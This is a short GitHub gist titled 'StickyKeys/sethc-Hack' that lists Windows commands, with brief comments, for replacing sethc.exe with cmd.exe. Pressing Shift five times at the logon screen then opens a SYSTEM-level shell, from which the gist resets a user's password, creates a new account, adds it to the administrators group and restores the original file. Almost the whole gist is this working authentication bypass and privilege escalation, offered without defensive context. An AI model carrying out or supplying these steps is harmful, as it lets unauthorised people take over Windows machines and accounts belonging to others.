Skip to content

Instantly share code, notes, and snippets.

@JaekelEDV
Created May 1, 2021 14:42
Show Gist options
  • Save JaekelEDV/50a0006341494b1d3ab86440531bc603 to your computer and use it in GitHub Desktop.
Save JaekelEDV/50a0006341494b1d3ab86440531bc603 to your computer and use it in GitHub Desktop.
StickyKeys/sethc-Hack
#StickyKeys/sethc-Hack
#Save sethc.exe to c:\
copy c:\windows\system32\sethc.exe c:\
#Replace sethc.exe with cmd.exe
copy /y c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe
#Reboot and on logon screen press SHIFT 5x -> cmd with SYSTEM-privileges
#Change password of existing user
net user <username> <New Password>
#Create new user
net user <username> <password> /add
#Add user to administrators group
net localgroup administrators <username> /add
#Revert the changes
copy /y c:\sethc.exe c:\windows\system32\sethc.exe
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment